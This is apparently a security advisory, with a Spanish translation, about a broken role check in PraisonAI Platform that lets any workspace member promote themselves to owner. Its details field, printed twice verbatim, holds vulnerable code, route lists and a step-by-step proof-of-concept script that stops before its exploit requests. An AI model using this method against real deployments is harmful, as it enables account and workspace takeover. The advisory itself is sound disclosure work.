Versions prior to 0.1.4 have a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`. The issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members. As a result, a normal workspace member can promote their own account from `member` to `owner`; add arbitrary users as `owner` or `admin`; change other members\u0027 roles; remove legitimate owners or members; take over workspace membership completely; and/or perform destructive workspace operations after escalation. This is a broken access control / vertical privilege escalation vulnerability. PraisonAI Platform version 0.1.4 patches the issue."

La dependencia por defecto es \u2019min_role=\u201cmember\u201d\u2019, por lo que las rutas que deber\u00edan ser administrativas son accesibles para los miembros ordinarios del espacio de trabajo. Como resultado, un miembro normal del espacio de trabajo puede promocionar su propia cuenta de \u2019member\u2019 a \u2019owner\u2019; a\u00f1adir usuarios arbitrarios como \u2019owner\u2019 o \u2019admin\u2019; cambiar los roles de otros miembros; eliminar propietarios o miembros leg\u00edtimos; tomar el control completo de la membres\u00eda del espacio de trabajo; y/o realizar operaciones destructivas en el espacio de trabajo despu\u00e9s de la escalada. Esto es un control de acceso roto / vulnerabilidad de escalada de privilegios vertical. La versi\u00f3n 0.1.4 de PraisonAI Platform corrige el problema."

  "details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n            \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n            \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1.

  "details": "### Summary\n\nPraisonAI Platform has a broken workspace authorization check that allows any authenticated low-privilege workspace member to escalate their own role to `owner`.\n\nThe issue is caused by privileged workspace-management routes using the shared dependency `require_workspace_member(...)` without requiring `admin` or `owner`. The dependency defaults to `min_role=\"member\"`, so routes that should be administrative are accessible to ordinary workspace members.\n\nAs a result, a normal workspace member can:\n\n- promote their own account from `member` to `owner`;\n- add arbitrary users as `owner` or `admin`;\n- change other members\u0027 roles;\n- remove legitimate owners or members;\n- take over workspace membership completely;\n- perform destructive workspace operations after escalation.\n\nThis is a broken access control / vertical privilege escalation vulnerability.\n\n### Details\n\nThe vulnerable authorization dependency is defined in:\n\n```text\npraisonai_platform/api/deps.py\n````\n\nThe dependency defaults to the lowest workspace role:\n\n```python\nasync def require_workspace_member(\n    workspace_id: str,\n    user: AuthIdentity = Depends(get_current_user),\n    session: AsyncSession = Depends(get_db),\n    min_role: str = \"member\",\n) -\u003e AuthIdentity:\n    ...\n    has = await member_svc.has_role(workspace_id, user.id, min_role)\n```\n\nBecause `min_role` defaults to `\"member\"`, any route using:\n\n```python\nDepends(require_workspace_member)\n```\n\nwithout explicitly passing a stronger role only requires ordinary workspace membership.\n\nPrivileged workspace-management routes in:\n\n```text\npraisonai_platform/api/routes/workspaces.py\n```\n\nuse this dependency unchanged on administrative actions, including:\n\n```text\nPATCH  /workspaces/{workspace_id}\nDELETE /workspaces/{workspace_id}\nPOST   /workspaces/{workspace_id}/members\nPATCH  /workspaces/{workspace_id}/members/{user_id}\nDELETE /workspaces/{workspace_id}/members/{user_id}\n```\n\nThese routes allow workspace modification, deletion, member addition, role changes, and member removal. They should require `admin` or `owner`, but they currently require only `member`.\n\nThe membership service does not provide a second authorization layer. In:\n\n```text\npraisonai_platform/services/member_service.py\n```\n\nthe mutation methods perform the requested change after the route-level check passes:\n\n```python\nasync def add(...):\n    member = Member(workspace_id=workspace_id, user_id=user_id, role=role)\n\nasync def update_role(...):\n    member = await self.get(workspace_id, user_id)\n    member.role = new_role\n\nasync def remove(...):\n    member = await self.get(workspace_id, user_id)\n    await self._session.delete(member)\n```\n\nTherefore, the weak route dependency is the effective authorization boundary.\n\nA low-privilege user can also learn their own `user.id` from the normal authentication response. The login/register response includes the authenticated user object:\n\n```text\nTokenResponse.token\nTokenResponse.user.id\n```\n\nThis allows an invited low-privilege member to target their own membership record and self-promote.\n\n### Affected component\n\n```text\nPackage: praisonai-platform\nVerified version: 0.1.2\nVerified source commit: d8a8a78\nAffected components:\n- praisonai_platform/api/deps.py\n- praisonai_platform/api/routes/workspaces.py\n- praisonai_platform/services/member_service.py\n- praisonai_platform/api/routes/auth.py\n- praisonai_platform/api/schemas.py\n```\n\n### PoC\n\nThe following PoC is self-contained and exercises the real PraisonAI Platform FastAPI application path. It does not mock the vulnerable RBAC logic.\n\nThe PoC:\n\n1. Creates the real FastAPI app with `praisonai_platform.api.app.create_app()`.\n2. Registers three users through the real `/api/v1/auth/register` route.\n3. Creates a workspace as the original owner.\n4. Adds the second user as a normal `member`.\n5. Logs in as that low-privilege member.\n6. Uses the low-privilege member token to self-promote to `owner`.\n7. Uses the same token to add a third account as `owner`.\n8. Uses the same token to remove the original owner.\n9. Confirms the workspace membership has been taken over.\n\n#### Full PoC code\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-contained local replay for PraisonAI Platform workspace RBAC bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport os\nimport sys\nimport types\nimport uuid\nfrom pathlib import Path\n\nfrom httpx import ASGITransport, AsyncClient\nfrom sqlalchemy.ext.asyncio import create_async_engine\n\n\nREPO_ROOT = Path(__file__).resolve().parents[3] / \"repos\" / \"praisonai\"\nPLATFORM_ROOT = REPO_ROOT / \"src\" / \"praisonai-platform\"\nAGENTS_ROOT = REPO_ROOT / \"src\" / \"praisonai-agents\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PLATFORM_ROOT / \"praisonai_platform/api/deps.py\": [\n            \u0027min_role: str = \"member\"\u0027,\n            \"member_svc.has_role(workspace_id, user.id, min_role)\",\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/api/routes/workspaces.py\": [\n            \u0027@router.patch(\"/{workspace_id}\", response_model=WorkspaceResponse)\u0027,\n            \u0027@router.delete(\"/{workspace_id}\", status_code=status.HTTP_204_NO_CONTENT)\u0027,\n            \u0027@router.post(\"/{workspace_id}/members\", response_model=MemberResponse, status_code=status.HTTP_201_CREATED)\u0027,\n            \u0027@router.patch(\"/{workspace_id}/members/{user_id}\", response_model=MemberResponse)\u0027,\n        ],\n        PLATFORM_ROOT / \"praisonai_platform/services/member_service.py\": [\n            \"member.role = new_role\",\n            \"await self._session.delete(member)\",\n        ],\n    }\n\n    for path, needles in expected.items():\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nasync def main() -\u003e int:\n    if not PLATFORM_ROOT.exists() or not AGENTS_ROOT.exists():\n        raise SystemExit(\"missing local PraisonAI source tree\")\n\n    verify_source()\n\n    sys.path.insert(0, str(PLATFORM_ROOT))\n    sys.path.insert(0, str(AGENTS_ROOT))\n\n    # Minimal passlib stub for local replay environments where passlib is not installed.\n    # This keeps the PoC focused on the authorization bug rather than dependency setup.\n    if \"passlib\" not in sys.modules:\n        passlib_pkg = types.ModuleType(\"passlib\")\n        passlib_pkg.__path__ = []\n        sys.modules[\"passlib\"] = passlib_pkg\n\n    if \"passlib.context\" not in sys.modules:\n        passlib_context = types.ModuleType(\"passlib.context\")\n\n        class _CryptContext:\n            def __init__(self, *args, **kwargs):\n                pass\n\n            def hash(self, password: str) -\u003e str:\n                return f\"stub::{password}\"\n\n            def verify(self, password: str, hashed: str) -\u003e bool:\n                return hashed == f\"stub::{password}\"\n\n        passlib_context.CryptContext = _CryptContext\n        sys.modules[\"passlib.context\"] = passlib_context\n\n    # Keep JWT generation deterministic for the local replay.\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"test-secret-for-testing-only\"\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db.base import Base, reset_engine\n    from praisonai_platform.db import base as base_mod\n\n    await reset_engine()\n\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n\n    base_mod._engine = engine\n    base_mod._session_factory = None\n\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    suffix = uuid.uuid4().hex[:8]\n    password = \"Password123!\"\n\n    transport = ASGITransport(app=app)\n\n    async with AsyncClient(transport=transport, base_url=\"http://test\") as client:\n        # 1.
